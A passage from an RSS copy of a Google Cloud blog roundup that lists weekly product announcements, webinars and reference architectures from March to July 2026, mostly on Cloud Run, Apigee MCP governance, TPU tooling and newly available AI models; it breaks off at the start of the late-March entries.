<content:encoded><![CDATA[<div class="block-paragraph"><p data-block-key="kgod7">Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. </p><hr><p data-block-key="ru1z9"><b>Tip</b>: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: <a href="https://cloud.google.com/blog/topics/inside-google-cloud/complete-list-google-cloud-blog-links-2021">Google Cloud blog 101: Full list of topics, links, and resources</a>.</p><hr><p data-block-key="b0lnw"></p></div>
<div class="block-aside"><dl>
    <dt>aside_block</dt>
    <dd>&lt;ListValue: []&gt;</dd>
</dl></div>
<div class="block-paragraph_advanced"><h3>Jul 6 - Jul 10</h3>
<ul>
<li><strong>Webinar: Introducing Google Cloud NGFW Enterprise advanced malware protection - powered by Palo Alto Networks<br></strong>Discover the new Cloud NGFW advanced malware sandbox, arriving in preview later this year. Powered by Palo Alto Networks Advanced Wildfire, it leverages data from 70,000+ customers to help defeat advanced malware. Join us on July 16 at 11 AM EDT to learn how to build a resilient, zero-trust cloud infrastructure that protects your apps and data, wherever they reside.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="18" href="https://www.brighttalk.com/webcast/18282/668861?utm_source=GCBlog" rel="noreferrer noopener" target="_blank">Register for the webinar now</a></li>
<li><strong>Safely run AI-generated code in Cloud Run sandboxes<br></strong>Cloud Run sandboxes, now in public preview, are lightweight, isolated execution boundaries that you can spawn near-instantly <strong>within your existing Cloud Run service instances</strong>.<br><br>Whether you need to let an LLM run a dynamically generated Python script to calculate business margins or spin up a headless browser to perform web research, Cloud Run sandboxes give you a secure, isolated sandbox to run these tasks without leaving your serverless environment.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="22" href="https://cloud.google.com/blog/topics/developers-practitioners/google-cloud-run-sandboxes-are-in-public-preview" rel="noreferrer noopener" target="_blank">Read the blog</a><span> to learn more and get started today.</span></li>
<li><strong>Australia API Horizon: Scaling Enterprise Governed AI Agents<br></strong>The transition from AI chatbots to autonomous agents is the most critical integration point for your business. Join Google Cloud at our upcoming events to explore exclusive deep-dive sessions on architecting for the agentic era.<br><br>Discover how to use Apigee as an intelligent AI Gateway to govern, secure, and scale high-performance architectures. You will learn to seamlessly build AI tools from your existing APIs and maintain control over your entire ecosystem.<br><br>Join us in your preferred city:
<ul>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="36" href="https://goo.gle/4voh18S" rel="noreferrer noopener" target="_blank"><strong>Sydney:</strong> July 28, 2026, at Google Sydney, One Darling Island.</a></li>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="37" href="https://goo.gle/4h2x0FS" rel="noreferrer noopener" target="_blank"><strong>Canberra:</strong> July 29, 2026, at Hotel Realm.</a></li>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="38" href="https://goo.gle/4yisb1F" rel="noreferrer noopener" target="_blank"><strong>Melbourne:</strong> August 4, 2026, at Google Melbourne.</a></li>
</ul>
</li>
<li><strong>Build highly available, multi-region services on Cloud Run<br></strong>Maintaining uptime for business-critical applications just got a lot easier on Cloud Run. Service health, now Generally Available, automates cross-region failover by leveraging readiness probes for instance-level health checks with a simple, two-click setup. You can configure service health with global external Application Load Balancers for public-facing applications or cross-region internal Application Load Balancers for private networking traffic.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="42" href="https://cloud.google.com/run/docs/configuring/configure-service-health" rel="noreferrer noopener" target="_blank">Learn how to configure service health for Cloud Run.</a></li>
<li><strong>Report: 83% of organizations need infrastructure upgrades for agentic AI<br></strong>The shift from conversational bots to autonomous agents is breaking legacy systems. Our new <em>State of AI Infrastructure</em> report details how engineering leaders are adapting to these massive new workloads. To eliminate inference bottlenecks, control hidden scaling costs, and manage agent sprawl, the industry is rapidly moving toward fluid compute, centralized governance, and unified, co-designed architectures.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="46" href="https://cloud.google.com/blog/products/compute/state-of-ai-infrastructure-report-overview?e=48754805" rel="noreferrer noopener" target="_blank">Explore our key infrastructure insights</a></li>
<li><strong>Stop tinkering, start scaling: the industrialized AI Playbook<br></strong>Did you know that only 5% of custom AI investments actually return measurable business value? The problem isn’t the technology—it’s how organizations are wired to run it.<br><br>In this compelling read, Google Cloud Consulting breaks down the operational blueprint that bridges the stark gap between "cool tech experiments" and real, P&amp;L-impacting enterprise ROI.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="50" href="https://www.google.com/url?q=https%3A%2F%2Fmedium.com%2F%40kjouannigot_73547%2Fscaling-trusted-ai-google-cloud-insights-to-capture-enterprise-roi-aa6c9b308adb" rel="noreferrer noopener" target="_blank">Read the full article on Medium</a></li>
<li><strong>AI Agent Clinic: Slashing App Latency by 80%<br></strong>Prototyping an AI agent is easy, but scaling for live traffic presents unique challenges. In the latest AI Agent Clinic, our technical experts partner with a developer to optimize PlaybackIQ, a live football analysis agent. This session demonstrates how to use OpenTelemetry to trace bottlenecks in the Gemini Enterprise Agent Platform and deploy to Cloud Run for high-concurrency scaling, achieving an 80% reduction in response time. Learn production-grade debugging strategies to optimize your own LLM applications.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="54" href="https://www.google.com/search?q=https://youtu.be/G7olcqETSn8" rel="noreferrer noopener" target="_blank">Watch the 60-minute teardown</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 29 - Jul 3</h3>
<ul>
<li><strong>Claude Sonnet 5, Anthropic’s latest model, is now available on Agent Platform</strong>. <br>This addition serves as a drop-in replacement for Sonnet 4.6, giving organizations expanded choice for task completion across enterprise workflows. It features enhanced reasoning, cleaner code generation, and computer use capabilities for desktop and browser workflows.<br><br>By continuing to rapidly bring frontier models to our platform, Google Cloud offers an uncompromised choice of the industry's best technology to build, test, and scale enterprise-grade AI.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://console.cloud.google.com/agent-platform/publishers/anthropic/model-garden/claude-sonnet-5?hl=en" rel="noreferrer noopener" target="_blank"><em>Get started today.</em></a></li>
<li>
<p><strong>Automate your AI governance with Apigee and YAML<br></strong><span>Manual API gateway configurations can quickly slow down your AI engineering velocity. Join the Apigee community on Thursday, July 16, to discover an automated, declarative blueprint for model garden management. Learn how a simple, repeatable YAML pattern lets your AI practitioners instantly spin up secure, policy-backed enterprise configurations  without friction. Bring your questions and connect during our live Q&amp;A session. </span></p>
<p><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 16 Community TechTalk</strong></a></p>
</li>
<li>
<p><strong>Build next-generation AI portals for autonomous agents<br></strong><span>Standard developer portals were designed for human developers to subscribe to static APIs. Today, autonomous agents, LLM toolkits, and dynamic runtimes demand a central nervous system for governance. Join our technical deep dive on Thursday, July 23, to explore Apigee's new AI Portals solution. You will see exactly how to deploy full-service, MCP powered hubs to safely manage enterprise self-service for models, tools, and agents. </span></p>
<p><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 23 Community TechTalk</strong></a></p>
</li>
<li><strong>Protect your infrastructure from advanced cyberattacks at the API layer (Presented in Portuguese)<br></strong>In an era of increasingly sophisticated threats, relying solely on traditional firewalls leaves critical data gaps. Join our technical community TechTalk on Thursday, July 30—conducted in Portuguese—to learn how to proactively mitigate risks directly at the gateway layer. This session demonstrates how to configure and govern essential Apigee security policies to build a robust line of defense, ensuring maximum availability and complete integrity for your enterprise microservices. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 30 Portuguese Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 22 - Jun 26</h3>
<ul>
<li><strong>Accelerate TPU model loading while saving RAM on GKE.<br></strong>Large model cold starts often stall scaling and leave high-value TPUs idle. The open-source <strong>Run:ai Model Streamer</strong> now natively supports TPUs with Google Cloud Storage in<strong> </strong><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://github.com/vllm-project/tpu-inference" rel="noreferrer noopener" target="_blank"><strong>TPU vLLM 0.18.0</strong>.</a> This integration accelerates inference pipelines on GKE by streaming tensors directly into CPU memory, bypassing local disk bottlenecks and the "double-buffering" trap. In benchmarks, loading a 480B parameter model was <strong>over 2x faster</strong> while cutting peak host memory usage by half. <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://discuss.google.dev/t/accelerate-tpu-model-loading-while-saving-ram-on-gke/374835" rel="noreferrer noopener" target="_blank"><strong>Read the full guide and get started today</strong></a>.</li>
<li><strong>Stop Training Blind: Scaling AI with the New OpenTelemetry-Based TPU AI Telemetry Collector Agent<br></strong>Google Cloud’s new AI Telemetry Collector agent standardizes TPU monitoring using OpenTelemetry. It optimizes enterprise ML workloads by identifying silent failures and providing zero-cost operational metrics without draining host CPU cycles. The agent seamlessly routes telemetry to Google Cloud Monitoring or Prometheus and custom Grafana setups. Pre-installed on Google-optimized Ubuntu images or available via Docker, it tracks memory, network latency, and core utilization to maximize multi-node training efficiency.<br><br>You can read more of this capability by clicking this <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://discuss.google.dev/t/stop-training-blind-scaling-ai-with-the-new-opentelemetry-based-tpu-ai-telemetry-collector-agent/375210" rel="noreferrer noopener" target="_blank">link</a>.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 15 - Jun 19</h3>
<ul>
<li><strong>Join us for a deep dive into agentic AI control with AppyThings<br></strong>Your integrations aren’t failing—they are evolving. When users interact with AI agents, they no longer arrive directly at your site, resulting in experiences stripped of your context, expertise, and intended experience. Join us on Thursday, June 25, for a community tech talk in partnership with AppyThings to learn how to solve this new gateway challenge. We will explore how MTN laid an integration foundation with the Model Context Protocol (MCP) to deliver accurate, consistent experiences. Our technical experts will demonstrate how to leverage Apigee as a centralized tools management solution to govern agent access. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/3Sfle0y" rel="noreferrer noopener" target="_blank"><strong>Register for the session</strong></a></li>
<li><strong>Optimize Spot VM Deployments with Capacity Advisor for Spot, Now in Public Preview<br></strong>Google Compute Engine has launched <strong>Capacity Advisor for Spot</strong> to Public Preview, now open to all customers. This tool turns Spot capacity discovery into a data-driven process by providing real-time deployment recommendations to maximize obtainability and minimize preemption risks. Query the <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/compute/docs/instances/view-vm-availability" rel="noreferrer noopener" target="_blank"><strong>Capacity Advisor API</strong></a> for obtainability and minimum estimated uptimes, or use the new <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://console.cloud.google.com/compute/capacityAdvisor" rel="noreferrer noopener" target="_blank"><strong>Console UI</strong></a> featuring a global availability map, spot price lookups, and historical preemption rate trends to visually find the most cost-efficient compute capacity.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/compute/docs/instances/view-vm-availability" rel="noreferrer noopener" target="_blank">Get started today</a> to start optimizing your Spot VM deployments!</li>
<li><strong>Build a multi-tenant agentic AI system<br></strong>When scaling generative AI across different business units, your teams need specialized AI agents with unique operational rules and tools. Our new reference architecture helps you build a centralized multi-tenant platform to prevent fragmented silos, eliminate data exposure risks, and maintain unified compliance. Read the guide to <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/architecture/multi-tenant-agentic-ai-system" rel="noreferrer noopener" target="_blank">design and deploy a multi-tenant agentic AI system</a> in Google Cloud.</li>
<li><strong>How to Configure Gemini Enterprise to Connect to a Custom MCP Server<br></strong>The Gemini Enterprise MCP Connector was a big announcement at Google Cloud Next because it introduces the ability to connect Gemini Enterprise to MCP servers. This blog <a href="https://medium.com/google-cloud/how-to-configure-gemini-enterprise-to-connect-to-a-custom-mcp-server-2e28adc96420" rel="noopener" target="_blank">post</a> provides a step-by-step guide on how to configure your first Custom MCP Server connector using the Google Maps Ground Lite MCP server as an example. Once you understand this flow, you can configure multiple MCP servers with Gemini Enterprise to bring all the context you need.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 8 - Jun 12</h3>
<ul>
<li><strong>Simplify Multi-Cloud Planning with Cloud Location Finder, now Generally Available</strong> <br>Cloud Location Finder provides up-to-date data on public regions, zones, and Google Distributed Cloud Connected locations across Google Cloud, AWS, Azure, and OCI. You can now programmatically discover locations based on provider, proximity, territory, and carbon footprint to optimize your global infrastructure strategy for performance, compliance, and sustainability. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="14" href="https://cloud.google.com/location-finder/docs" rel="noreferrer noopener" target="_blank">Get started for free today</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 1 - Jun 5</h3>
<ul>
<li><strong>Modeling the physical world with BigQuery Graph</strong><br>Managing complex supply chains requires more than just spreadsheets; it requires a digital replica of the physical world. In this <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://cloud.google.com/blog/products/data-analytics/modeling-a-digital-twin-using-bigquery-graph" rel="noreferrer noopener" target="_blank">post</a>, Guru Rangavittal and Candice Chen explore how BigQuery Graph enables organizations to build a digital twin by turning physical assets into an interconnected map of nodes and edges. By moving beyond traditional relational databases, businesses gain real-time clarity into operations—from executing surgical ingredient recalls to analyzing weather-driven logistics risks. Discover how BigQuery Graph transforms reactive firefighting into proactive, precision modeling, allowing you to see critical connections in seconds and future-proof your supply chain.</li>
<li><strong>Apigee for AI: Govern LLMs and MCP Servers (Presented in Spanish)<br></strong>Learn how to securely transition your AI initiatives from experimental prototypes to enterprise-ready deployments. Join Luis Cuellar on June 18 for a technical deep dive (presented in Spanish) exploring Apigee’s latest AI gateway capabilities. Discover how to centralize governance over Model Context Protocol (MCP) servers, protect Large Language Models (LLMs) with robust API gateway security policies, and manage token-based quotas.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4dyC2Ie" rel="noreferrer noopener" target="_blank"><strong>Register for the June 18 Spanish Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 25 - May 29</h3>
<ul>
<li>
<p><strong><a href="https://www.anthropic.com/news/claude-opus-4-8" rel="noopener" target="_blank"><span>Anthropic’s Claude Opus 4.8</span></a><span> is now available on </span><a href="https://console.cloud.google.com/vertex-ai/publishers/anthropic/model-garden/claude-opus-4-8"><span>Gemini Enterprise Agent Platform</span></a></strong><span><strong>. </strong></span><span>As we continue to expand our platform's model offerings, this addition gives organizations more options for handling complex, multi-stage enterprise workflows. Claude Opus 4.8 brings strong capabilities in agentic coding, allowing developers to manage extensive refactors and tracking dependencies over extended sessions.</span></p>
</li>
<li><strong>API Horizon Munich July 6, 2026: Orchestrating the Next Era of AI and APIs <br></strong>Master the orchestration of next-gen AI and digital ecosystems. Join Google Cloud experts and DACH tech leaders on July 6 for an exclusive look at the Apigee roadmap, Agent Management, and Model Context Protocol (MCP). Gain real-world insights and connect with the regional integration community.<strong><br><br><a href="https://goo.gle/4dTxQmo" rel="noopener" target="_blank">Register now</a></strong></li>
<li><strong>Securing AI Agents: The Extended Agent Gateway Pattern<br></strong>Learn how to prevent autonomous AI agents from invoking unauthorized APIs. Join Apigee Specialist Joel Gauci on June 4 for a technical deep dive into the Extended Agent Gateway pattern. This session covers enforcing Fine-Grained Authorization (FGA), implementing secure token exchange, and establishing Model Context Protocol (MCP) governance at the API gateway layer to protect enterprise backend services.<br><br><a href="https://goo.gle/4fbAsxg" rel="noopener" target="_blank"><strong>Register for the June 4 Community TechTalk</strong></a></li>
<li><strong>API-to-Agent Security: Exposing REST APIs to Gemini Enterprise via MCP<br></strong>Connect Gemini Enterprise agents to core data without creating security hazards. Join Google Cloud Specialist Nigel Walters on June 11 to learn how to instantly transform legacy REST APIs into secure Model Context Protocol (MCP) servers. We’ll cover how to safely register tools with Gemini while enforcing gateway-level guardrails like rate limiting and access control policies.<br><br><a href="https://goo.gle/4nVyjIr" rel="noopener" target="_blank"><strong>Register for the June 11 Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 18 - May 22</h3>
<ul>
<li><strong>Chinese Webinar | June 4: AI Command and Control<br></strong>As AI agents move from experimental pilots to core enterprise functions, governance has become a critical next step. Join Google Cloud on June 4th at 10:00 AM (Beijing Time) to learn how to build a secure AI management layer architecture. We'll explore how to develop governed MCP (Model Context Protocol) endpoints, manage tool access to enterprise data, and leverage robust audit logs to operationalize AI. This session also includes a practical demonstration of these governance frameworks on Google Cloud.<br><br><a href="https://goo.gle/4dx4Lf5" rel="noopener" target="_blank">Register here</a></li>
<li><strong>GCP Announces New Features to Benchmark and Optimize LLMs for On-Device Use Cases<br></strong>Deploying fine-tuned LLMs from GCP to edge devices like smartphones is complex due to fragmented hardware. Google AI Edge Portal bridges this gap, giving GCP developers the ability to test AI performance on 120+ Android devices, representing the full diversity of high, medium, and low tier smartphones on the market today. This week at I/O, we announced brand new <a href="https://cloud.google.com/blog/products/ai-machine-learning/benchmark-llms-on-device-with-ai-edge-portal" rel="noopener" target="_blank">capabilities</a> to benchmark and debug LLM performance across these devices. <a href="https://docs.google.com/forms/d/e/1FAIpQLSfTcGPycQve8TLAsfH46pBlXBZe9FrgJAClwbF7DeL1LgVn4Q/viewform" rel="noopener" target="_blank">Sign-up</a> to utilize these new features in private preview today.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 11 - May 15</h3>
<ul>
<li><strong>Build Your AI &amp; MCP Control Tower for Universal Governance<br></strong>Master the future of agentic security with Apigee. Join our Community TechTalk on May 21 to discover how Apigee serves as a central "Control Tower" for the Model Context Protocol (MCP). We will explore how new JSON-RPC tool authorization enables fine-grained access policies across your organization, ensuring secure and scalable AI deployments. Whether managing internal tools or external users, learn to govern your agentic ecosystem with absolute precision. This session is designed for global coverage across EMEA and AMER regions.<br><br><a href="https://goo.gle/4u9slWF" rel="noopener" target="_blank">Register for the May 21 Community TechTalk</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 27 - May 1</h3>
<ul>
<li><strong>Master Your Launch: The Apigee Production Go-Live Checklist<br></strong>Ensure a secure launch with the Apigee production guide. Join Nicola Cardace on May 28 to explore security guardrails, including IAM roles, mTLS configurations, and encrypted KVM migrations. Scheduled at 11 AM EDT / 5 PM CEST to support EMEA and AMER teams, this TechTalk provides the technical roadmap you need to flip the switch with absolute confidence.<br><br><strong><a href="https://goo.gle/4elMCTI" rel="noopener" target="_blank">Register for the May 28 Community TechTalk</a></strong></li>
<li>
<p><strong>Transforming APIs into Governed Agentic Tools on the Google Cloud Agentic Platform<br></strong><span>Turn your APIs into secure, governed agentic tools on the Google Cloud Agentic Platform. Join Specialist Christophe Lalevée on May 7 for a technical deep dive into AI productization. Scheduled at 5 PM CEST / 11 AM EDT to maximize coverage for developers across EMEA and AMER, this session explores the integration and governance frameworks required to scale enterprise-ready AI with confidence.</span></p>
<p><a href="https://goo.gle/3PfWm7M" rel="noopener" target="_blank">Register for the May 7 Community TechTalk</a></p>
</li>
<li><a href="https://docs.cloud.google.com/compute/docs/accelerator-optimized-machines#g4-machine-types" rel="noopener" target="_blank">Fractional G4 VMs</a> are Generaly Available, providing a highly efficient and cost-effective entry point for AI and graphics workloads. These new configurations, using NVIDIA virtual GPU (vGPU) technology, allow you to leverage the power of the NVIDIA RTX PRO 6000 Blackwell Server Edition GPUs in flexible, smaller increments, so you can right-size your infrastructure to match the specific demands of your applications. By providing more granular access to advanced hardware, fractional G4 VMs let you optimize resource allocation and reduce overhead without sacrificing performance. You can now select from additional GPU slice sizes for your specific needs:
<ul>
<li><strong>1/2 GPU:</strong> Ideal for more intensive tasks such as LLM inference, robotics sensor simulation, and high-fidelity 3D rendering.</li>
<li><strong>1/4 GPU:</strong> Optimized for mainstream workloads, including mid-range creative design, video transcoding, and real-time data visualization.</li>
<li><strong>1/8 GPU:</strong> Great for lightweight applications such as remote desktops, productivity tools, and entry-level streaming services.</li>
</ul>
</li>
<li>
<p>Transitioning AI from a sandbox prototype to an enterprise-grade system is a major hurdle. A monolithic script won't suffice for widespread deployment. To achieve true scale and reliability with Gemini, organizations must adopt service-oriented micro-agent architectures, establish Zero-Trust security, and implement rigorous EvalOps. Master the "Agentic Maturity Ladder" to ensure your AI &amp; Agentic solutions are robust, secure, and ready for the real world.</p>
<p><a href="https://lnkd.in/gHBH8cTv" rel="noopener" target="_blank">Watch the deep dive</a> and <a href="https://discuss.google.dev/t/beyond-the-prototype-scaling-production-grade-agents-with-gemini/356140" rel="noopener" target="_blank">read the developer blog</a> to learn more.</p>
</li>
<li><strong>ML Development in VS Code with Google Cloud Power: Workbench Extension Now Available<br></strong>Data scientists and developers can now combine the local productivity of VS Code with the scalable infrastructure of Google Cloud. The new Google Cloud Workbench Notebooks extension allows you to connect to and run notebooks on managed cloud environments directly within your local IDE. This integration streamlines the ML lifecycle by eliminating context switching and providing high-performance compute for complex workloads in a familiar interface. As part of our commitment to the developer ecosystem, the extension is fully open-sourced to support community-driven innovation.
<ul>
<li><strong>Install from Marketplace:</strong> <a href="https://marketplace.visualstudio.com/items?itemName=GoogleCloudTools.workbench-notebooks" rel="noopener" target="_blank">GoogleCloudTools.workbench-notebooks</a></li>
<li><strong>Contribute on GitHub:</strong> <a href="https://github.com/GoogleCloudPlatform/colab-enterprise-vscode" rel="noopener" target="_blank">colab-enterprise-vscode</a></li>
</ul>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 20 - Apr 24</h3>
<ul>
<li><strong>Announcing the 2026 Google Cloud Partners of the Year<br></strong>Google Cloud is honored to celebrate the winners of the 2026 Partner of the Year awards! These awards recognize an exceptional group of partners across AI, Security, Infrastructure, and more, who have demonstrated a commitment to customer success. From global system integrators to specialized startups, these winners are leveraging the power of Google Cloud to solve complex challenges and drive digital transformation worldwide. Join us in congratulating these organizations for their innovation, collaboration, and impactful results over the past year.<br><br>See the <a href="https://cloud.google.com/blog/topics/partners/2026-partners-of-the-year-winners-next26">2026 Partner Award winners</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 13 - Apr 17</h3>
<ul>
<li>We're excited to announce the <strong>Public Preview of Datastream’s metadata integration with Knowledge Catalog</strong>. This is the first step in our vision to provide a centralized, "single pane of glass" for all Datastream assets. The enhancement automatically synchronizes Streams, Connection Profiles, and Private Connections, eliminating data silos. It enhances discoverability, allowing you to search for Datastream assets using the same interface as BigQuery tables. Centralized governance is also provided, making your real-time data estate more transparent and easier to manage.</li>
<li><strong>Upgrading Apigee OPDK to 4.53 with OS Modernization<br></strong>Modernize your infrastructure using Google’s official, sequential upgrade path. Our Technical expert, Rakesh Talanki outlines how to upgrade Apigee OPDK to v4.53 while migrating to a supported OS (RHEL 8.x/9.x). This guide covers the "build-out" methodology, including multi-data center syncing, to ensure a stable, zero-downtime transition<br><br><a href="https://goo.gle/3Oa8uqy" rel="noopener" target="_blank">Read the guide</a></li>
<li><strong>Cloud Run Worker Pools and CREMA: Powering Serverless AI at Scale<br></strong>Google Cloud has announced the General Availability of <strong>Cloud Run worker pools</strong>, a new resource type designed specifically for pull-based, non-HTTP workloads. Unlike traditional Cloud Run services that scale based on request traffic, worker pools provide an "always-on" environment for background tasks like processing message queues or running large-scale AI inference. To support this, Google Cloud also open-sourced the <strong>Cloud Run External Metrics Autoscaler (CREMA)</strong>. Built on KEDA, CREMA enables queue-aware autoscaling for worker pools, allowing them to dynamically scale based on external signals like Pub/Sub backlog or Kafka lag.</li>
<li><strong>Apigee Model Context Protocol (MCP) now Generally Available<br></strong>Expose enterprise APIs as MCP tools for agentic AI applications with the General Availability of MCP in Apigee. This update allows developers to transform APIs into AI-ready tools using OpenAPI Specifications, removing the need for local MCP servers or additional infrastructure. With managed endpoints and semantic search in API hub, you can now provide AI agents with secure, governed access to enterprise data at scale.<br><br><a href="https://goo.gle/3QfoEQ4" rel="noopener" target="_blank"><em>Explore the MCP overview</em></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 6 - Apr 10</h3>
<ul>
<li><strong>Community TechTalk: Powering Retail Agents with ADK, UCP &amp; Apigee X<br></strong>Move beyond basic chatbots to secure, transactional AI experiences. Join our Community TechTalk on April 16 to learn how Apigee X and Gemini build a "Trust Layer" for AI shopping assistants using UCP standards. We’ll demonstrate how to block prompt injections with Model Armor and implement cost governance via token limits to secure the path from discovery to purchase.<br><br><a href="https://goo.gle/41ocUgq" rel="noopener" target="_blank"><span>Register for the TechTalk</span></a></li>
<li><strong>Implement multimodal capabilities in your AI agents<br></strong>Explore three new reference architectures for building sophisticated multi-agent AI systems that can process and analyze multimodal data. To analyze disparate multimodal data and produce a high-confidence classification, see <a href="https://docs.cloud.google.com/architecture/agentic-ai-classify-multimodal-data"><span>Classify multimodal data</span></a><span>. To create a fluid conversational AI that processes audio and video streams in real time, see</span> <a href="https://docs.cloud.google.com/architecture/agentic-ai-bidirectional-multimodal-streaming"><span>Enable live bidirectional multimodal streaming</span></a><span>. To consolidate fragmented multimodal data into a searchable knowledge graph, see</span> <a href="https://docs.cloud.google.com/architecture/agentic-ai-multimodal-graph-rag-resource-orchestration"><span>Multimodal GraphRAG resource orchestration</span></a><span>.</span></li>
<li><strong>Automate SecOps workflows with an agentic AI system<br></strong>To accelerate incident response and reduce manual toil for your security team, you need a system that can automate remediation playbooks. Our new reference architecture helps you build an AI agent that orchestrates complex triage and investigation workflows across disparate security tools, such as SIEM, CSPM, and EDR, from a single interface. See the full guide to <a href="https://docs.cloud.google.com/architecture/agentic-ai-orchestrate-security-ops-workflows"><span>orchestrate security operations workflows</span></a><span>.</span></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 30 - Apr 3</h3>
<ul>
<li><strong>ASEAN Webinar | April 30: Mastering Agentic Governance at Scale with GCP<br></strong>As AI agents move from experimental pilots to core enterprise functions, governance is the critical next step. Join Google Cloud experts <strong>Shilpi Puri &amp; Wely Lau</strong> for a <strong>webinar</strong> on <strong>April 30th at 11:00 AM SGT</strong> to learn how to architect a secure AI Management layer. We’ll explore developing governed MCP endpoints, managing tool access to enterprise data, and operationalizing AI with robust audit logs. The session includes a live demo of these frameworks in action on Google Cloud.<br><br><a href="https://goo.gle/47FX1Wn" rel="noopener" target="_blank"><strong>RSVP here.</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Mar 23 - Mar 27</h3>
<ul>
<li aria-level="1">
